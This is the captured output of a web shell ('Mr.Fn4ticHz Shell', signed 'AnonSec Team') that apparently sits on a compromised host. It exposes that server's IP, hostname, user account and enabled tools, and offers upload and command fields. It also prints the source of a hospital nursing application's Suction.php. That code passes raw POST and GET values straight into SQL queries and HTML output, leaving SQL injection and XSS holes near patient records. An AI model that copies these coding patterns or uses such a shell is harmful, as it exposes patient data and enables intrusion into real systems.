Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 52.15.129.253
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/NewNurse/Patient/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/NewNurse/Patient/Suction.php
<?php
session_start();
require_once ('../../lib/config/config.php');
require_once("../../../LoginManager_mod.php");
@include("../../dbconnection.php");
 $db = getDbInstance();

if(!isset($_SESSION['uname']))
{
	echo "<script>alert('Session Expired..');</script><script>window.location='../index.php';</script>";
}
$title='Suction';
require_once ('../../lib/helpers/manager.php');
		
  
    
    
if(@isset($_POST['Suction']))

	{
	  	$updated_at=date("Y-m-d");
   $created_at=date("F d, Y / h:i:s A");
    
    $sql="INSERT INTO Suction(id,prescriptionid,patientid,Suction,rate,ward_id,bed_id,entered_by,created_at,updated_at) VALUES (NULL,'$_POST[prescriptionid]','$_POST[patientid]','$_POST[Suction]','$_POST[rate]','$_POST[Ward]','$_POST[Bed]','$_POST[entered_by]','$created_at','$updated_at')";




if($con->query($sql) === true){
    // Obtain last inserted id
    $id = $con->insert_id;


$patient_invace=$db->query("INSERT INTO save_activity(srno,userno,prescriptionid,discription,entered_by,link,created_at,updated_at) VALUES (NULL, '$_POST[patientid]','$_POST[prescriptionid]','Record sheet<br>Suction','$_POST[entered_by]','showSuction.php?prescriptionid=$_POST[prescriptionid]&patientid=$_POST[patientid]&id=$id&srno=','$created_at','$updated_at')");


$site_users = $con->query("SELECT * FROM save_activity WHERE prescriptionid = '$_POST[prescriptionid]' AND userno='$_POST[patientid]' AND discription='Record Sheet<br>Suction<br>Doc.no-'");
$numrows=mysqli_num_rows($site_users);
if($numrows > 0){
        echo "<script>alert('Already Exists');</script>";
    	}else{ 
    	    
    

    $save_activity=$con->query("INSERT INTO save_activity(srno,userno,prescriptionid,discription,entered_by,link,created_at,updated_at) VALUES (NULL, '$_POST[patientid]','$_POST[prescriptionid]','Record Sheet<br>Suction<br>Doc.no-','$_POST[entered_by]','recordsInvoice_Suction.php?prescriptionid=$_POST[prescriptionid]&patientid=$_POST[patientid]&type=Suction',' $created_at','$updated_at')");


}
   

if($sql){
echo "<script>alert('Catheterization add successfully..');</script><script>window.history.go(-1)</script>;</script>";
}}else {
	echo "Fail";
}  
	    
		
	 }
if(@isset($_GET[delid]))
{
    
      $db->where('id', $_GET['delid']);
if($db->delete('Suction')){
    
    $db->where('pagetype', $_GET['delid']);
if($db->delete('patient_invace')){

	    
	echo "<script>alert('Delete  successfully..');</script><script>window.history.go(-1)</script>;</script>";
	}
    
 
}
}
	 
	 
  ?> 

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta charset="utf-8" />
<title><?php echo $title; ?></title>

<meta name="description" content="Common form elements and layouts" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />

<!-- bootstrap & fontawesome -->
<link rel="stylesheet" href="../assets/css/bootstrap.min.css" />
<link rel="stylesheet" href="../assets/font-awesome/4.5.0/css/font-awesome.min.css" />

<!-- page specific plugin styles -->
<link rel="stylesheet" href="../assets/css/jquery-ui.custom.min.css" />
<link rel="stylesheet" href="../assets/css/chosen.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-datepicker3.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-timepicker.min.css" />
<link rel="stylesheet" href="../assets/css/daterangepicker.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-datetimepicker.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-colorpicker.min.css" />

<!-- text fonts -->
<link rel="stylesheet" href="../assets/css/fonts.googleapis.com.css" />

<!-- ace styles -->
<link rel="stylesheet" href="../assets/css/ace.min.css" class="ace-main-stylesheet" id="main-ace-style" />

<!--[if lte IE 9]>
<link rel="stylesheet" href="../assets/css/ace-part2.min.css" class="ace-main-stylesheet" />
<![endif]-->
<link rel="stylesheet" href="../assets/css/ace-skins.min.css" />
<link rel="stylesheet" href="../assets/css/ace-rtl.min.css" />

<!--[if lte IE 9]>
<link rel="stylesheet" href="../assets/css/ace-ie.min.css" />
<![endif]-->

<!-- inline styles related to this page -->

<!-- ace settings handler -->
<script src="../assets/js/ace-extra.min.js"></script>

<!-- HTML5shiv and Respond.js for IE8 to support HTML5 elements and media queries -->

<!--[if lte IE 8]>
<script src="../assets/js/html5shiv.min.js"></script>
<script src="../assets/js/respond.min.js"></script>
<![endif]-->
</head>

	<body class="no-skin">
		<?php include('../includes/header2.php'); ?>

		<div class="main-container ace-save-state" id="main-container">
			<script type="text/javascript">
				try{ace.settings.loadState('main-container')}catch(e){}
			</script>

			<div id="sidebar" class="sidebar                  responsive                    ace-save-state">
				<script type="text/javascript">
					try{ace.settings.loadState('sidebar')}catch(e){}
				</script>

				<?php include('top-header-icon.php'); ?>

				
				
				<!-- /.nav-list -->
				
				<?php include('sidebar.php'); ?>
			<!-- /.nav-list -->

				<div class="sidebar-toggle sidebar-collapse" id="sidebar-collapse">
					<i id="sidebar-toggle-icon" class="ace-icon fa fa-angle-double-left ace-save-state" data-icon1="ace-icon fa fa-angle-double-left" data-icon2="ace-icon fa fa-angle-double-right"></i>
				</div>
			</div>

			<div class="main-content">
				<div class="main-content-inner">
					<div class="breadcrumbs ace-save-state" id="breadcrumbs">
						<ul class="breadcrumb">
							<li>
								<i class="ace-icon fa fa-home home-icon"></i>
								<a href="#">Home</a>
							</li>

						
							<li class="active"><?php echo $title; ?></li>
						</ul><!-- /.breadcrumb -->

						<div class="nav-search" id="nav-search">
							<form class="form-search">
								<span class="input-icon">
									<input type="text" placeholder="Search ..." class="nav-search-input" id="nav-search-input" autocomplete="off" />
									<i class="ace-icon fa fa-search nav-search-icon"></i>
								</span>
							</form>
						</div><!-- /.nav-search -->
					</div>

			<div class="page-content">
						<div class="ace-settings-container" id="ace-settings-container">
							<div class="btn btn-app btn-xs btn-warning ace-settings-btn" id="ace-settings-btn">
								<i class="ace-icon fa fa-file-text-o bigger-130"></i>
							</div>

							<?php include("incident_sidebar.php"); ?><!-- /.ace-settings-box -->
						</div><!-- /.ace-settings-container -->

						<div class="page-header">
							
						</div><!-- /.page-header -->

<div class="row">
<div class="col-xs-12">
    
    
    
    
 <div class="panel panel-primary">
               
    <div class="panel-body">
      <h4 class="text-on-pannel text-primary"><strong class="text-uppercase">Suction
 </strong></h4>
   
<!-- PAGE CONTENT BEGINS --><br>
      	<form name="Suction" method="post" id="myForm" enctype="multipart/form-data" style='padding:10px;'>
<?php

   $db->where ("prescriptionid", $_GET['prescriptionid']);
   $db->where ("patientid", $_GET['patientid']);
   $RowRFA = $db->getOne("request_for_admission");


   $db->where ("tarifid", '48');
   $db->where ("hospitalid", $entered_by);
   $db->where ("wardid", $RowRFA['Ward']);
   $RowTarif = $db->getOne("tarifrate");
	  
   
?>      	    
    <input type='hidden' name='entered_by' value='<?php echo $entered_by; ?>'>
<input type='hidden' name='patientid' value='<?php echo $_GET['patientid']; ?>'>
<input type='hidden' name='prescriptionid' value='<?php echo $_GET['prescriptionid']; ?>'>
<input type='hidden' name='Ward' value='<?php echo $RowRFA['Ward']; ?>'>
<input type='hidden' name='Bed' value='<?php echo $RowRFA['Bed']; ?>'>
<input type='hidden' name='rate' value='<?php echo $RowTarif['rate']; ?>'>


      	    
    <button value="Done" name="Suction" type="submit"  class='btn btn-success' ><i class="fa fa-plus"></i> Suction Done</button>
        
</form>

 <table id="dynamic-table" class="table table-striped table-bordered table-hover dataTable no-footer">
      <thead>
                  <tr>
        <th>Timing </th>
        <th>Towards</th>
          <th>Created By</th>  
          <th>Action</th>    

               </tr>
        </thead>
        <tbody>
<?php

$db->where ("prescriptionid", $_GET['prescriptionid']);
   $db->where ("patientid", $_GET['patientid']);
   $RowSuction = $db->get("Suction");
   foreach ($RowSuction as $RowRFA) {
       
  $db->where ("userno", $RowRFA['entered_by']);
 $re1 = $db->get("site_users");
 foreach ($re1 as $re) {  
		    
		    
		    
        echo " 
	                <tr>
               
                 <td>&nbsp;$RowRFA[created_at]</td>
                  <td>Suction &nbsp;$RowRFA[Suction]</td>
                    <td>&nbsp;$re[name]</td>
                 <td>
                 
                 
                 
                 &nbsp;&nbsp;<a href='Suction.php?prescriptionid=$RowRFA[prescriptionid]&patientid=$RowRFA[patientid]&delid=$RowRFA[id]' style='width:15%'><i class='fa fa-trash-o' aria-hidden='true' style='font-size:20px;color:red;width:10%;padding:10px 10px'></i></a>
                 
                 </td>
                                 </tr>                   
          
          ";


}

}

?>     </tbody>
  <tfoot>
          </tfoot>
        </table>

</div></div>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->

<?php include('../includes/footer.php'); ?>

<a href="#" id="btn-scroll-up" class="btn-scroll-up btn btn-sm btn-inverse">
<i class="ace-icon fa fa-angle-double-up icon-only bigger-110"></i>
</a>
</div><!-- /.main-container -->

<!-- basic scripts -->

<!--[if !IE]> -->
<script src="../assets/js/jquery-2.1.4.min.js"></script>

<!-- <![endif]-->

<!--[if IE]>
<script src="../assets/js/jquery-1.11.3.min.js"></script>
<![endif]-->
<script type="text/javascript">
if('ontouchstart' in document.documentElement) document.write("<script src='../assets/js/jquery.mobile.custom.min.js'>"+"<"+"/script>");
</script>
<script src="../assets/js/bootstrap.min.js"></script>

<!-- page specific plugin scripts -->

<!--[if lte IE 8]>
<script src="../assets/js/excanvas.min.js"></script>
<![endif]-->
<script src="../assets/js/jquery-ui.custom.min.js"></script>
<script src="../assets/js/jquery.ui.touch-punch.min.js"></script>
<script src="../assets/js/chosen.jquery.min.js"></script>
<script src="../assets/js/spinbox.min.js"></script>
<script src="../assets/js/bootstrap-datepicker.min.js"></script>
<script src="../assets/js/bootstrap-timepicker.min.js"></script>
<script src="../assets/js/moment.min.js"></script>
<script src="../assets/js/daterangepicker.min.js"></script>
<script src="../assets/js/bootstrap-datetimepicker.min.js"></script>
<script src="../assets/js/bootstrap-colorpicker.min.js"></script>
<script src="../assets/js/jquery.knob.min.js"></script>
<script src="../assets/js/autosize.min.js"></script>
<script src="../assets/js/jquery.inputlimiter.min.js"></script>
<script src="../assets/js/jquery.maskedinput.min.js"></script>
<script src="../assets/js/bootstrap-tag.min.js"></script>

<!-- ace scripts -->
<script src="../assets/js/ace-elements.min.js"></script>
<script src="../assets/js/ace.min.js"></script>

<!-- inline scripts related to this page -->
<script>
document.getElementById('btn').addEventListener("click", function(){
this.classList.add("loading");
this.innerHTML = "Loading...";
});
</script>


<style>
    .text-on-pannel {
  background: #fff none repeat scroll 0 0;
  height: auto;
  margin-left: 20px;
  padding: 3px 5px;
  position: absolute;
  margin-top: -47px;
  border: 1px solid #337ab7;
  border-radius: 8px;
  
}

.panel {
  /* for text on pannel */
  margin-top: 27px !important;
}

.panel-body {
  padding-top: 30px !important;
  
}

.panel-primary {
    
    border-color: #116bb9;
}

.donate-now {
     list-style-type:none;
     margin:25px 0 0 0;
     padding:0;
}

.donate-now li {
     float:left;
     margin:0 5px 0 0;
}

.donate-now label {
     padding:5px;
     border:1px solid #CCC; 
     cursor:pointer;
}

.donate-now label:hover {
     background:#DDD;
}
</style>	

</body>
</html>

Anon7 - 2022
AnonSec Team